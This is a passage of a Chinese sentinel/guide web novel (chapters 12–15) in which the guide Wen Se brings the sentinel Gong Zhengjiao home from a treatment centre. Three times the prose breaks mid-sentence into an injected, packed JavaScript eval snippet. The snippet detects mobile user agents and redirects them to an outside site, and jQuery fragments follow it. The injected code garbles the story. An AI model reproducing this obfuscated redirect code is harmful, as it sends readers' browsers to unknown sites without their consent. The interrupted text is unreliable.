“入室盗窃,就像公告上说的那样,您没看吗?”张律师道,“弓铮皎先生总是很天真,让保洁员误以为他只是一个人傻钱多的公子哥,动了不该动的心思。唉,毕竟弓铮皎先生看起来,确实不像是哨兵那种很吓人的家伙,对吧?” “但他面对背叛时,总是很冲动。” 若有深意地说完最后一句话,张律师不再逗留,身影消失在走廊昏暗的灯光下。 原来是保洁员,怪不得能“入室盗窃”。 闻璱操控面板,重新将可视玻璃调整为单向模式。 还是一片漆黑,什么也看不到。 大概也只有在这样的环境下,哨兵才能渐渐消化积攒过多的信息量,逐渐获得平静吧。 ……虽然闻璱不是这么认为的。 从疗愈中心出来重返地面时,已经是凌晨两点。 等到闻璱又是换乘夜班公交,又是蹬共享单车回到宿舍时,天都蒙蒙亮了。 他拖着有些疲惫的身体回到家重新洗了个澡,然后倒进被窝,几乎在眼皮合上的瞬间,就陷入昏厥般的睡眠。 一觉睡到了下午三点,闻璱都不舍得从被窝里爬出来。 久违的偷懒时间,他打着哈欠回复了小号上剩余的客户消息,却发现冒出来一条新的好友申请。 来自一个默认头像、没有介绍的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418161|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 账号,ID是:BBB大猫。 验证信息:牙疼,求拔。 闻璱:…… 他有种很不妙但又很莫名其妙的猜想。 他通过申请,然后立刻发送了一句:【你怎么这么快就出来了?】 BBB大猫:【还没出来呢。】 果然。 闻璱:【弓铮皎。】 BBB大猫:【?】 BBB大猫:【好吧,瞒不过你。】 都起名叫BBB大猫了……闻璱不知道他又在掩耳盗铃些什么。 但闻璱还是很好奇:【在小黑屋还能用终端?】 BBB大猫:【没规定说不让。】 这话倒也没错,疗愈中心并没有明文规定,不能在小黑屋里做什么事。 毕竟进小黑屋的哨兵无不是已经失控,连一丝微光、一点微动都无法承受,几乎完全不受理智操控,就算规定了,也没有任何意义。 不过,如果弓铮皎恢复得这么快,神智如此清晰,眼睛和脑子也能接受刷终端的话…… 闻璱:【那你为什么还不出来?】 BBB大猫:【没人接我。】 闻璱一怔,他记得他走的时候,张律师还呆在白塔,似乎是会在弓铮皎出来之前一直等在那里。 但他暂时还没有决定,见过张律师这件事是不是该现在就告诉弓铮皎。 闻璱:【应该通知你家人了吧,难道没人去接你吗?】 BBB大猫:【没有。】 BBB大猫:【没有人爱我。】 闻璱:【?】 怎么去了趟小黑屋,突然变了个人一样? 闻璱以前只听哨兵客户抱怨过,在疗愈中心被攻击型向导用精神力抽得满地乱爬,以至于醒来之后看到医院护士的白大褂,忍不住流下热泪——因为疗愈中心的向导一般穿一身黑衣。 而闻璱也曾在疗愈中心短暂实习过,了解应对失控哨兵的流程。 通常在把哨兵关入小黑屋后,第一件事就是由多个向导进行压制,专攻方向是攻击、催眠、治愈的向导都有,但分配到的哪一类向导更多,纯看运气。 失控哨兵要么是被攻击型向导揍晕、要么是被催眠昏睡、要么是被治愈着发狂到筋疲力尽之后昏迷。 在那之后,哨兵会被放置在小黑屋这个低信息量的环境中,慢慢自我修复和代谢。 与其说是治疗,倒不如说是让哨兵发泄,直到自己康复。 哨兵是否能够离开小黑屋、什么时候离开,也并不取决于哨兵自己,而是疗愈中心的综合评估。 离开之后,也会有短则半月,长则半年的窗口期,期间哨兵不被允许召唤出精神体。 不过,绝大多数哨兵意识清醒,也就是理智回笼时,都已经不在小黑屋中。 毕竟脑电图也是疗愈中心评估哨兵状态的重要指标,而小黑屋并不是一个真正舒适的环境。 也是因此,弓铮皎这种清醒地呆在小黑屋里刷终端的情况,闻璱简直闻所未闻。 BBB大猫一直显示“正在输入中”,但很久没有新的消息发过来。 等待回复时,闻璱翻了个身,动作之间手链滑动,蓝紫色的宝石滚入视野中。 他想了想,坐起身发去一句:【你想要有人去接你吗?】 BBB大猫秒回:【想。】 【那就告诉我。】 BBB大猫:【我希望你能来接我。】 BBB大猫:【我希望闻璱来接我。】 13. 第 13 章 再次进入疗愈中心时,张律师果然还没走。 但他似乎猜到闻璱是来做什么的,冲闻璱点了点头:“那边已经打点过,直接办手续就行。安全起见,我就不露面了。” 然后把弓铮皎的终端交给闻璱。 闻璱知道他是怕两人之间露出什么端倪,被弓铮皎察觉到。 果然,给弓铮皎申请居家观察的程序一路绿灯,平时往往需要好几个小时的流程,今天半小时不到就完成了。 按照规定,闻璱跟随着负责弓铮皎的一位职工向导,一起去小黑屋接弓铮皎出来。 恰巧这位职工向导也是闻璱的熟人。 “我说呢,连我们疗愈中心的都嫌庙小的闻大菩萨,原来是傍上了这一位。”临到门口,职工向导冷笑一声,“只不过,他怎么还发帖挂你呢?好像也没有多在意你啊。” 闻璱瞥了他一眼,淡淡道:“是啊,我就这样,慈悲为怀。” “真好意思给自己贴金——你这是下贱!” “好的,那我下贱。”闻璱从善如流。 “闻璱!”职工向导气得直接扑上来要扒闻璱的口罩,“你说什么?!你敢不敢再说一遍!” “这不是你自己说的吗?”闻璱微笑任他动作,“柳部长。” 这位向导并不是普通的职工,而是疗愈中心的负责人之一,姓柳。他是罕见的S级向导,专攻催眠方向,也算得上是学术界和行业内举足轻重的人物。 弓铮皎这种级别的哨兵失控,大概确实需要柳部长亲自出手才能压制得住。 柳部长气得眼睛和脸都要滴血,怒气冲冲地进行例行记录。 临到开门之前,他语气冰冷:“真是不长教训,还敢往麻烦事里掺和,你以为这次还有人保你吗?” 闻璱不想和柳部长争论这些无意义的话,于是敷衍地冲他“嗯”了一声。 谈话间,一道身影便从漆黑里走出来。 是弓铮皎。 他穿着白色的病号服,脖子上戴着电击环,没有什么肉眼可见的伤痕,但看起来难免有些萎靡。 不过,一见到闻璱,他蓝紫色的眼睛倏然亮起,仿佛灯泡被按下开关。 昏暗的光线下,幽幽的眼瞳光映照着白金色的发丝,整张俊俏的脸顿时明亮起来,再不见一丝憔悴。 柳部长哼了一声,放在口袋中的手悄无声息地扣动装置。 电击环的指示灯闪过一瞬蓝色,接着,那两盏蓝紫色的小灯也熄灭下来。 从小黑屋出来之后,哨兵的感官往往都会被强行压制在较低水平,在主观意念下才能调用某种感官。 刚才,弓铮皎就调用了视觉,但立刻被柳部长用总控开关,拨动了电击环内置的向导素针,强行抑制住了视觉反应。 闻璱记得弓铮皎说过,自己不喜欢这种感觉。 但是,弓铮皎看起来若无其事,只是面无表情地冲柳部长点了点头,就静默无声地走到了闻璱身后。 柳部长看不惯这画面,阴阳怪气道:“闻璱,别怪我没提醒你,以后又被人用完就扔了,可不要来找我!” 闻璱“嗯嗯啊啊”地点头应了,转头看向弓铮皎:“你的衣服呢?” “不知道,可能脏了,找不到了。”弓铮皎一连回了好几个不同的答复。 说话之间,闻璱发现他咬字仍然有些口齿不清,看来他舌头下面那个微型酸弹并没有卸除。 ……明明都已经戴上电击环了。 但毕竟还在疗愈中心,柳部长这个闲人还看着,闻璱没有多问,带着弓铮皎就这样离开了。 张律师果然也没有再出现。 鉴于弓铮皎戴着电击环、穿着病号服,简直是把“失控哨兵”几个字写在脑门上,闻璱便拿出终端,打算叫一辆网约车来。 填目的地的时候,他才想起来弓铮皎那栋楼被封了。 而他忘了张律师确认,有没有把那栋楼安排解封。 闻璱把弓铮皎的终端递给弓铮皎,本意是想让弓铮皎自己约车,自己安排目的地,或是自己打电话问张律师也好。 结果弓铮皎拿着终端,很安静地看着闻璱,仿佛自己只是一个懂事的置物架。 闻璱只能问:“你家被封了。现在我们去哪?” 他心想,希冕创辉的大少爷,总不能只有一栋楼的不动产吧? 没想到弓铮皎说:“我不知道。” “那你给家里人打电话问一问?” 弓铮皎茫然道:“家里人是谁?” 闻璱:“……” 他一字一顿地问:“你知道自己是谁吗?” “BBB大猫。”弓铮皎说。 好了,完蛋了,孩子傻了。 闻璱又问了几个常识性的问题,才勉强松下一口气。 他发现弓铮皎与其说是失智,倒不如说是放弃思考。 大概也只有这样,才可能这么快就顺利通过疗愈中心的测试。 闻璱猜测,这可能是某种短期后遗症。 在被向导压制之后,精神图景原本就接近荒芜,但由于S级哨兵的体质太好,代谢和恢复的速度过快,导致弓铮皎提前醒来。 然后在茫然中被放置在完全无光、无声的小黑屋里,不知道过去了多久。 期间,弓铮皎唯一能做的事,就是用不知怎样私藏着的另一个终端,给闻璱发了几条消息。 如果说这导致弓铮皎的大脑陷入一种处理信息困难的“低能”模式,倒也合理。 合理吗?闻璱也只能这样推测。 既然如此,想让弓铮皎自己打电话联络家人,大概也不太现实。 叹了口气,闻璱认命地把目的地设置成宿舍。 他没去弓铮皎的家,现在弓铮皎要先来他的宿舍了,真是兜兜转转赔了夫人又折兵。 结果,好不容易等接受特种人的网约车来了,弓铮皎却站在原地,怎么说都不肯上车。 “我想坐地铁。”弓铮皎说。 “少爷,你知不知道地铁有多吵?”闻璱微笑,“就算你现在是感官被抑制的状态,也绝对承受不了。我敢说,还没走进地铁站,你就会成为一只小聋猫。” 弓铮皎眨了眨眼睛,突然微微抿嘴,喉咙滚动,发出一种很微妙的声音。 闻璱很难形容,绞尽脑汁才能搜罗出一个勉强可以的说法——像儿童玩具套组里卡通电话该有的那种,很甜美的忙音“嘟——”。 闻璱:“……?” 弓铮皎无辜道:“龙猫叫。” 闻璱:“……” “那是豚鼠……不,算了。”闻璱放弃讲道理,无奈地把网约车送走。 坐地铁就坐地铁吧……闻璱总有办法的。 但为了防止弓铮皎戴着电击环进入公共场所引起恐慌,闻璱脱下外套递给弓铮皎。 幸好出门时闻璱随手一抽,就拿了一件领子可以立起来的风衣。 也幸好他们身形相仿,闻璱还稍高半寸,这件衣服穿在弓铮皎的身上倒也很合适,就是专门把领子立起来显得死装。 然后,闻璱带着弓铮皎,乘上了弓铮皎“梦寐以求”的地铁。 值得庆幸,今天是工作日,而且上下班高峰期还没到,地铁里算不上很拥挤,两个人很轻易地就找到了空位坐下。 弓铮皎就像乡下人第一次进城,新奇地四处打量,连显示屏上的无聊广告都看得入神。 而真正的乡下人闻璱微微靠在挡板上,闭目养神。 过了一会,闻璱突然想起来还可以拜托权冽去工作室那边散个步,顺便帮自己看一眼楼解封了没有。 就像权冽不爱凑热闹一样,闻璱以前也从不麻烦别人。 收到消息的权冽果然震惊地回了一个:【?!】 闻璱:【顺路?】 其实大概率不太顺路,闻璱知道,权冽也知道。 但权冽还是在十分钟内就返回了一张照片,照片里黄色的警戒线糊得像流星。 附言:【没有解封。】 闻璱只得认命。 他告诉弓铮皎下车那一站的名字,叮嘱到了喊自己。 然后,就靠在挡板上闭目养神。 弓铮皎果然时刻警惕,广播一响起,就用膝盖轻轻碰了碰闻璱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418162|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的膝盖。 闻璱睁开双眼,有些疲倦地起身:“走吧。” “坐地铁这么累吗?”弓铮皎问。 挤地铁确实很累,坐地铁就还好,闻璱之所以一副被吸干了精气的样子,是因为其他事。 但这很难跟低能模式的弓铮皎解释清楚,闻璱没有回答,命令道:“下车。” 弓铮皎很听话,立刻跟着他下车、出站,再也没有一句废话。 才出地铁站,弓铮皎的视线又钻进了街边的一家连锁水果店里。 “我想吃荔枝。” 最近不算荔枝上市的时节,闻璱也没看到店门口摆着荔枝。 但这也不过两步路的距离,闻璱还不至于累得走不动。他带着弓铮皎进来店里才发现,店里还真有几盒精装荔枝。 店员得意地介绍起来,说是从南方空运过来的新品种,快递才刚到,都没来得及摆出来,可叫他们捡到漏了。 闻璱瞥了一眼价标,品质一般,但价格和包装成正比。 弓铮皎就在旁边眼巴巴地看着,虽然不算是主观意愿上的耍赖……但对闻璱来说也差不多。 叹了口气,闻璱还是说:“想买就买吧。” 弓铮皎也不多拿,善解人意地拿起手边最近的一盒:“足够了。” . 闻璱的宿舍在八楼,没有电梯。 放在平时,对于体能评定等级为A的闻璱来说,上下八楼连热身都算不上。 但对于现在的闻璱来说,此行简直比蜀道还难。 弓铮皎见他爬两阶就要停下来喘两口气的虚样,突然说:“原来闻璱每天都这么辛苦。” 闻璱轻轻挥了挥手,想让他麻利点自己上楼,别在这开嘲讽。 却被弓铮皎轻轻握住了那只手。 闻璱一愣。 这是第一次,他们真正意义上的肢体接触。 肌肤与肌肤相贴的那种。 顾及到等级越高的哨兵往往感官越敏锐,闻璱一直很注意和哨兵相处时的尺度。 安抚时戴手套,也是考虑到这个因素。 有些哨兵或许不介意闻璱的向导素,但有些哨兵未必喜欢身上沾染非亲密关系的向导素。 对于弓铮皎,闻璱更是谨慎了很多倍。 即便一直以来,弓铮皎都表现得对他的向导素无比渴求。 但是向导素归向导素,和真正的接触还是不一样的。 直到这一刻,弓铮皎握着他的手,力度温柔地拉了一把,把闻璱带上了最后一节台阶。 弓铮皎才松开手。 到宿舍之后,闻璱才终于松了半口气。 这里毕竟是特种人宿舍,墙板厚、隔音好,也装有基础的白噪音设施,虽然效果就像浴室里的通风系统一样,只能说是聊胜于无。 闻璱让弓铮皎洗手之后自己乖乖到桌边坐下,自己钻进洗手间洗了把脸。 狭窄的单人宿舍,洗手间的干区几乎无法同时容纳两个人,除非闻璱洗脸的时候,让弓铮皎坐在马桶盖上旁观。 凉水扑灭了闻璱脑袋里像烟雾一样昏沉的疲倦感,抬起头时,闻璱看着镜子里的自己,总觉得好像少了什么。 他突然想起——他忘了叮嘱弓铮皎不许坐他的床! 闻璱有些轻微的洁癖和强迫症,其中就包括外人和外面的衣服都不能碰到自己的床。 如果弓铮皎敢穿着挤地铁的衣服坐他的床,甚至只是轻微地擦过,都会平添一份巨大的工作量。 因为闻璱会立刻更换整套床单被褥,并立刻清洗原有的那一套。 闻璱连忙推开门,就要对弓铮皎补充说明这道“天条”。 再一次,清爽的风拂过闻璱脸颊,卷走了发梢不慎沾上的水珠。 窗户大敞着,弓铮皎蹲在窄窄的窗外沿上,怀里抱着一只羽毛漆黑的红喙天鹅。 在夕阳下,他和天鹅仿佛都被染上一层滚烫的金边。 天鹅优雅而温和地把修长地脖颈弯成S形,让弓铮皎把一串闪烁的光放在它头顶。 这顶“冠冕”的主石,是一颗晚霞般的蓝紫色宝石。 14. 第 14 章 闻璱一时怔住。 一方面是惊讶,一方面也多少有点担心低能模式的弓铮皎掉下去。 这里可是八楼,窗沿只有十厘米宽,弓铮皎蹲在那里时,真的像猫科动物一样,只能踮着脚后跟,用前脚掌支撑。 他看着眼前的绝景,尽可能轻声问:“……你是怎么做到的?” 弓铮皎回头看了闻璱一眼,不知道该怎么回答。 幸好,闻璱也并没有指望现在的弓铮皎能给出什么可靠的说法。 他小心翼翼地上前,步伐中有无法掩饰的急切。 还没到近前,天鹅小黑就冲闻璱叫了一声。 特种人不会不明白自己精神体想要表达的意思,因为那原本也是特种人精神世界的一种投射。 闻璱明白,小黑在向自己诉说想念。 他伸出手去,想要抱住小黑,却被小黑灵巧地躲开。 它轻轻曲颈搭在弓铮皎手上蹭了蹭,然后消失在空气中,只在弓铮皎掌心留下那条手链。 它似乎真的很喜欢那条手链,或者说,是喜欢手链上那颗宝石。 等等……闻璱定睛一看,才发现宝石的的大小有些过分惹眼。 这不是那颗能够储存弓铮皎精神力的宝石,也不是被弓铮皎评价为“成色更好”的第二颗宝石,而是闻璱还没见过的第三颗宝石,硕大如鸽子蛋,颜色深邃得几乎像是刚从弓铮皎眼眶里抠出来。 弓铮皎灵巧地跳回屋里。 闻璱看得胆战心惊,因为他突然发现,张律师交给他的那份合同还大喇喇地放在桌面上,就在刚才,险些擦过弓铮皎的鞋底。 幸好有一张空白的封皮,以弓铮皎现在的状态,应该也不会翻开看。 无论要不要把这件事瞒着弓铮皎,至少现在并不是坦白的好时机。 闻璱上前几步,作出要替弓铮皎拍拍衣领的样子,一只手背在身后,不动声色地把合同塞进角落。 不幸的是,那只完成了瞒天过海的手,在收回的过程中,惨遭弓铮皎当场捕获。 他擒着闻璱的手腕,并没有非常用力——如果真的用力,可以轻松捏断闻璱的小臂骨。 奈何闻璱罕见地有几分心虚。 闻璱恶人先告状:“你什么时候偷了我的手链?” 其实他大概能猜到,应该是爬楼梯那时,弓铮皎拉了一把他的手,趁机摘走了手链。 还趁他洗脸的功夫,又偷偷换了一颗新的宝石。 闻璱其实并不生气,只是不太理解弓铮皎为什么要这么做。 弓铮皎很诚实地说:“这颗不好看。” 又是因为美观。 但闻璱没再反驳,因为小黑看起来似乎更喜欢这颗宝石。 他顺着弓铮皎的动作抬起手:“现在可以还给我了吗。” 弓铮皎轻轻地“嗯”了一声。 于是,弓铮皎仔细地把“新”手链在闻璱手腕上扣好。 果然,这样一通打马虎眼,弓铮皎立刻忘了刚才闻璱偷偷摸摸的小动作,乖巧地坐回椅子上,等待闻璱的下一步指示。 闻璱翻箱倒柜找出来几件还没拆封的作训服递给弓铮皎,让弓铮皎换上。 但弓铮皎看起来有些不太情愿。 “没有味道。”弓铮皎说着,摸了摸身上的风衣,“我更喜欢这一件。” 天地良心,如果他对着被地铁熏陶过的风衣一阵猛吸,闻璱会立刻把他的脸按进洗衣机里滚两圈。 闻璱说:“别装。” 他知道弓铮皎现在状态相对稳定,高浓度的向导素并不是必需品。 弓铮皎之所以会这样,大概只是习惯了这种感觉。 因为坐地铁回来的全程,弓铮皎披着闻璱的风衣,闻璱的向导素几乎包裹住他整个人。 闻璱的精神力就这样藏在向导素里,隐隐形成了一道屏障,阻隔地铁上嘈杂的声音和气味。 如果不这样,弓铮皎恐怕还没等到地铁来,就会被噪音、气味惹得发疯发狂发癫,然后被电击环电得脖子焦香。 但这样高强度且高精度地动用精神力,还要避免向导素阈值过高,触发电击环报警,闻璱也很疲惫。 他并不打算继续惯着弓铮皎,于是微笑着说:“这里是我家,我说了算。” 弓铮皎立刻顺从了,乖乖地拿着新的衣服走进洗手间。 闻璱顺口叮嘱他:“换下来的衣服丢到门口的旧衣篓,一会拿去洗衣房。” 弓铮皎也依言照做。 出来的时候,闻璱已经换了一身衣服,正在往地上铺席子。 一旁床上放着另一套被褥,看来是打算让弓铮皎今晚打地铺。 见他出来,闻璱头也不抬,淡淡道:“先说好,就今天晚上,明天你要是还这样……我就把你送到流浪猫基地去。” 弓铮皎在席子前蹲下,突然说:“不用被子。” 闻璱知道以弓铮皎的体质不会着凉,但也觉得没必要只是因为“不会着凉”,就真的把弓铮皎晾在硬邦邦的地上。 他直接无视弓铮皎的提议,让弓铮皎把被褥拿下来自己铺好。 弓铮皎也乖乖地做了,虽然看得出来不常做家务,铺个地铺都搞得乱七八糟。 闻璱不在乎,又不是让自己睡的。 十几平的宿舍还强行塞进去一个干湿分离的洗手间,本来就狭窄得不像话,更别说另一套被褥铺在床边的地上,让闻璱的床直接成了一个无法通行的孤岛。 幸好闻璱也没有别的安排。 他精神疲惫,急需睡觉休息,转头就钻进自己的被窝。 “让我先休息会,别打扰我。” 弓铮皎张了张嘴,又闭上了。 他看着床上背对着自己的那团隆起,莫名觉得好像……好像一个雪白的、还没刷油进烤箱的可颂。 让他口舌生津……可见他着实饿得不清。 但是,或许是对于现在的弓铮皎来说,连“饥饿”都是一个很难处理的难题。 他什么也没说,默默地躺进地上那个简陋的被窝里,两只手交叠着放在肚子上轻轻按压,抑制住了原本可能会饿得怪叫的胃。 明明荔枝就放在桌子上,他却丝毫没有吃独食的意思。 幸好闻璱也没吃饭,不过一个多小时,就同样被饥饿感从睡梦中唤醒。 他精神头明显好了些,理智尚未彻底回笼,正想给自己倒杯水喝,脚踩在柔软的被褥上,动作才悬崖勒马地僵住。 屋里没开灯,一片漆黑,以至于闻璱忘了地上还躺着个人。 好险闻璱还没站起来,否则真有可能一脚踩上弓铮皎的肋骨。 弓铮皎侧过脸,一双眼睛又亮了起来。 昏暗的房间里,陡然亮起两颗蓝紫色的小彩灯,闻璱提醒他:“我要开灯了。” 在调用视觉的情况下,一盏台灯都能对哨兵起到脸接A1高闪的杀伤力,闻璱可不想让他因此英年早盲。 “啪”地一声,微冷的光照亮了整间宿舍。 和弓铮皎对视的瞬间,闻璱一怔,竟然觉得有种又陌生又熟悉的感觉。 顿了片刻,闻璱问他:“终于醒了?” 弓铮皎麻利地坐起身,给闻璱让出一条可供通行的路,嘴上答道:“给你添麻烦了。” 看来他已经恢复了正常。 和理智一同回笼的,也有对肢体接触的隐隐抗拒。 “没关系。”闻璱说着,沿着床边走到桌前,给自己倒了一杯水。 喝了两口润润嗓子,闻璱继续说:“你恢复了就好,用不用跟家人联络一下?也不知道你家解封了没有……” 后半句“你还有别的去处吗”还没来得及说出口,就被弓铮皎打断了。 “已经解封了。”弓铮皎道,“刚才也联络过了。造成这些麻烦,我会赔你钱。” 闻璱点点头,顺着他说:“那你现在回去?” 这理所当然,从舒适角度来讲,闻璱的宿舍和弓铮皎家本来就毫无可比性——虽然闻璱其实从来没有去过弓铮皎家。 “……嗯,我这就回。” 弓铮皎说着,已经勤快地开始收拾自己睡过的地铺。 但闻璱靠在桌边喝水,踩在被褥上的脚丝毫没有让开的意思。 他推开窗户,偏头望向窗外,似乎是回避,又似乎只是没注意到,让弓铮皎试探的眼神成了独角戏。 纠结了几秒钟,弓铮皎起身进了洗手间,关门时很轻,几乎没发出声音。 闻璱挑了挑眉毛,没想到他放弃得这么果断。 但他的眉毛还没降下来,就突然意识到,不对。 因为洗手间的通风那么差,宿舍房间又这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418163|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小,一旦开启换气,整间屋子都会嗡嗡响。 弓铮皎总不可能不开换气——就算弓铮皎邋遢,闻璱也不能接受有人这样使用自己的厕所。 顿时,什么尊重隐私、尊重一个人最脆弱的时候这些事情,闻璱都顾不上了。 他连忙敲了敲门,手上稍微用了点力,没想到门不仅没锁,甚至没扣上,就这样被推开。 好消息是,并没有看到不该看到的下半身。 坏消息是,看到了也不太该看到的上半身。 没想到弓铮皎长了一张水灵灵的脸,肌肉倒是很不错,完全符合S级哨兵的刻板印象。 弓铮皎猛地转过身,把身上脱了一半的衣服又拉回去。 回过头时,尴尬的绯色已从他脸上蔓延到脖颈。 “抱歉。”闻璱的目光落在他手上,“不过,这是什么意思?” 弓铮皎手上拿着刚才从脏衣篓里翻出来的病号服,看样子正打算换。 他有些不自在地回答道:“不好意思,我把衣服换回去。” 有强迫症的闻璱不会这样对待自己,更不理解嗅觉更敏锐的弓铮皎大少爷,为什么会突然变得如此“勤俭持家”。 闻璱自认为,自己好像也没有抠门到,连一身从公会领的作训服也舍不得给的地步。 而且,就凭刚才弓铮皎那心虚、尴尬、甚至被抓包般的脸红,闻璱就觉得,这绝不是弓铮皎乐于自我折磨。 他眯了眯眼睛,突然冒出来一个很小人之心度君子之腹,又格外适配弓铮皎一贯作风的猜测。 闻璱双臂环胸,好整以暇地靠在洗手间门口,挡住了弓铮皎唯一的逃跑路线。 “不是吧,前首席。”他缓缓说,“就因为被套在我的风衣里面,连这身病号服也要带走……你为什么不直接问问我,能不能把风衣送给你呢?” 逼仄的小洗手间里,弓铮皎低着头不敢看闻璱。 他觉得空气变得潮湿,甚至是每一次闻璱说话时,嘴唇开合,吐出的气息,都让整个空间的温度上升。 这让弓铮皎汗毛起立,鼻腔发痒,呼吸困难——甚至心律不齐,像是严重的过敏反应。 闻璱打量着他,也隐隐察觉到,弓铮皎身上,或是心里,有什么不对劲的地方。 既然弓铮皎对这些偷摸行为感到羞耻,甚至被抓包时敏感得过分,又为什么还要一再继续做出这些行径? 一般情况下,闻璱会认为这是一种小众的变态性癖,或许弓铮皎正是从这种羞耻中得到隐秘的快感。 如果不是下午,他真的见过弓铮皎坦然索取的模样。 所以,不是性癖,而是弓铮皎确实有难言之隐。 弓铮皎想要隐瞒的事情,会和他那莫名其妙大爆发的救风尘之心,还有希冕创辉的结婚提议有关吗? 闻璱不知道。 但他知道,如果他真的揭开这个秘密,恐怕以后都难以脱身。 但是…… 从不知何时开始,闻璱已经开始思考该如何周旋其中,而不是遵循一贯明哲保身的原则,置身事外。 或许,是在每一次望进那双宛如溺水之人渴望浮木的眼中时,多少触动了他的心。 以至于他想要伸出手,把对方从漩涡中拔上来。 因为闻璱也在自己的漩涡中。 如果这也是布置陷阱必要的演技——那算弓铮皎厉害,也算他倒霉,认栽。 于是,闻璱真的缓缓伸出手,虚隔着半寸距离,立在弓铮皎胸前。 很近,但没有碰到。 “呼吸。”闻璱声音轻轻。 弓铮皎偏过脸,仍然不见任何胸腔起伏,静得像一具尸体。 以他的体质,别说是才屏息几分钟而已,闭气半小时都不会对他造成任何器质性损伤。 这完全是他的条件反射,或许出于心理上的某种障碍。 “你不是想要那件风衣吗?”闻璱诱惑他,“如果你听话,我会给你更好的奖励。” 弓铮皎顿时轻微地抿了抿下唇。 见他稍有意动,闻璱立刻趁热打铁,余光瞥到桌上那盒未动的荔枝,便问:“想吃荔枝吗?想吃的话,我剥给你吃。” 话音落下,胸膛贴上了闻璱掌心。 “乖猫猫。” 下个瞬间,闻璱就被按在墙板上。 15. 第 15 章 弓铮皎克制着力道,为了防止这一下直接把闻璱的脑袋砸个粉碎,他还体贴地把一只手垫在闻璱脑后,隔着一条毛巾。 而另一只手则虚悬在闻璱脖子前,手指颤抖着,不知道该不该掐下去。 大概是怕一时冲动,如果真的握上去,稍有不慎,就能直接捏断那截白皙而优美的颈项。 闻璱后颈垫着一只手,不得不微微抬起下巴,垂眸看着弓铮皎。 长而微翘的银白睫毛,只有在这样俯视的角度下,才不会遮住那双桃色眼眸。 “滋啦”的电流声不时响起,弓铮皎颈间一阵电光爆闪,隐隐甚至传来一丝焦味。 一道橘红色指示灯频繁闪烁,这代表着电击环触发了一级惩戒。 电击强度是根据白塔现有的极限数据制定,通常一级惩戒就足够让A级以上的哨兵在五秒内失去战斗力;满级是三级,足以电晕一头壮年大象。 但是,看弓铮皎面对一级惩戒的模样,虽然不至于说是云淡风轻,但显然也绝对不算强弩之末。 这说明弓铮皎的体能至少超过了白塔已有的数据,并且,他还将这件事隐藏得很好。 即便现阶段他被电击环抑制着,释放不出阿咬,只靠体能,弓铮皎也能轻松把这间宿舍拆个粉碎。 闻璱微一挑眉,眼中露出一丝讶然。 死死盯着闻璱的那双蓝紫色眼眸,当然没有错过闻璱的情绪。 “你看到了,如果我真的发狂,电击环根本拦不住我。”弓铮皎声音沙哑,“所以,你别再玩弄我了……” 橘红色指示灯亮起第二道。 “玩弄……”闻璱忍不住唇角弯弯,“请问我做了什么,让弓大少爷把持不住?” 话虽如此,他其实心知肚明,因为这原本就是他想看到的。 闻璱的目光落在弓铮皎几乎抽搐的手,就知道面对二级惩戒,弓铮皎抵挡电流的难度又翻了几倍。 这份痛苦是弓铮皎自找的。 因为他本可以从一而终,直白地说出自己的欲望和顾虑,而不是像现在这样,开了个声势浩大的头,却又临时反悔,想要草草了结。 不论是因为小黑、因为精神力,还是因为其他的什么,闻璱确实产生了探究的兴趣。 只可惜,闻璱并不喜欢被人牵着鼻子走,主动权只能掌握在他的手里。 闻璱自认没有感化全世界的善心和耐心,也不会逞强应承下自己能力范围的事。 偏偏在弓铮皎心里,闻璱大概就是一个兼具这两点的无知无畏者。 所以他不知道,在第一次向刃齿虎阿咬伸出手那时起,闻璱就一直在为赢下这场“硬仗”而做准备。 弓铮皎咬牙切齿:“我不是那些可以被随便感化的哨兵,我……” “我也从来不是通过感化谁,来安抚哨兵的。”闻璱微微笑了,“弓铮皎,这是你对我最大的误会。” 他缓缓抬起手,慢得生怕弓铮皎注意不到。 就算同为S级体能,向导和哨兵也使用的是两套标准,更不用说闻璱只是A级,而弓铮皎很大概率是论外的S+,或者S++,甚至S+++。 具体有多少个+,也不好说。 所以,闻璱的动作慢条斯理,甚至堪称明目张胆。 他把手指最终搭在电击环的绝缘开关上,轻声说:“我要关闭它了,再不关闭,一会白塔的人就该来了。” 二级惩戒就会进入白塔的重点监控;如果升到三级,且持续时长超过一分钟,白塔就会立刻出警。 闻璱当然不想处理白塔这个大麻烦。 而电击环只有两种关闭方法,一个是在检测到佩戴者失去意识之后自动关闭;另一个就是在按住开关的情况下,拨动内置麻醉针装置手动关闭——后者也几乎意味着,哨兵已经被控制住。 但闻璱这样,反而让弓铮皎更加崩溃。 因为他心知肚明,电击环内置的麻醉剂量,根本控制不住现在几近失控的自己。 